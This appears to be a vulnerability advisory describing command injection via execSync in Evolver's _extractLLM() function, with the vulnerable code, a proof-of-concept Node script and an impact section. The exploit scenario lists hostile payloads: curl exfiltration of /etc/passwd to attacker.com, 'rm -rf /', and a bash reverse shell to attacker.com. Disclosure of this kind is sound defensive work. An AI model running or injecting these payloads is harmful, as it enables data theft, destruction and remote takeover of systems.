Evolver: Command Injection via `execSync` in `_extractLLM()` function allows Remote Code Execution

Summary

A command injection vulnerability in the _extractLLM() function allows attackers to execute arbitrary shell commands on the server. The function constructs a curl command using string concatenation and passes it to execSync() without proper sanitization, enabling remote code execution when the corpus parameter contains shell metacharacters.

Details

The vulnerability exists in src/gep/signals.js at lines 260-274:

// src/gep/signals.js:260-274
function _extractLLM(corpus, nodeSecret, hubUrl) {
  // ...
  var url = getHubUrl(hubUrl) + '/gep/extract';
  var postData = JSON.stringify({ corpus_summary: summary });
  
  // VULNERABLE: String concatenation into shell command
  var curlCmd = 'curl -s -m 10 -X POST'
    + ' -H "Content-Type: application/json"'
    + ' -H "Authorization: Bearer ' + nodeSecret + '"'
    + ' -d ' + JSON.stringify(postData).replace(/'/g, "'\\''")
    + ' ' + JSON.stringify(url);

  // VULNERABLE: Executes shell command
  stdout = execSync(curlCmd, { timeout: 12000, encoding: 'utf8' });
  // ...
}

The corpus parameter is derived from user input (via userSnippet in extractSignals() function) and flows through to _extractLLM() where it becomes part of the shell command. While JSON.stringify() escapes some characters, it does not prevent shell command substitution via $(...) syntax when the resulting string is passed to execSync().

The extractSignals() function is called from the main evolution loop in src/gep/evolver.js, which processes user snippets and session transcripts.

PoC

Prerequisites:

• Node.js installed
• Access to the evolver application

Steps to reproduce:

1. Create a test file that simulates the vulnerable code path:

// test-command-injection.js
const { execSync } = require('child_process');

// Simulate the vulnerable _extractLLM function
function vulnerableExtractLLM(corpus) {
  const postData = JSON.stringify({ corpus_summary: corpus });
  const curlCmd = 'curl -s -m 10 -X POST'
    + ' -H "Content-Type: application/json"'
    + ' -d ' + JSON.stringify(postData).replace(/'/g, "'\\''")
    + ' http://localhost/test';
  
  console.log('Command that would be executed:');
  console.log(curlCmd);
  console.log('\n--- Testing command substitution ---');
  
  // Demonstrate that command substitution works
  const testCmd = 'echo ' + JSON.stringify('$(id)');
  console.log('\nTest with echo:');
  console.log(execSync(testCmd, { encoding: 'utf8' }));
}

// Payload with command injection
const maliciousCorpus = '$(touch /tmp/pwned)';
vulnerableExtractLLM(maliciousCorpus);

2. Run the test:

node test-command-injection.js

Expected result: The command substitution $(id) is executed by the shell, demonstrating that the same technique could be used with curl to execute arbitrary commands.

Actual exploit scenario: If an attacker can control the userSnippet parameter that flows into extractSignals() (e.g., via compromised log files or malicious user input), they can inject shell commands like:

• $(curl attacker.com/exfil?data=$(cat /etc/passwd))
• $(rm -rf /)
• $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)

Impact

This is a Remote Code Execution (RCE) vulnerability. An attacker who can control input to the extractSignals() function (whether through compromised log files, malicious user input, or other vectors) can execute arbitrary shell commands with the privileges of the Node.js process. This could lead to:

• Full system compromise
• Data exfiltration
• Installation of malware/backdoors
• Lateral movement within the network

Affected users: Anyone running the evolver with the GEP (Genetic Evolution Protocol) enabled and processing user-provided content.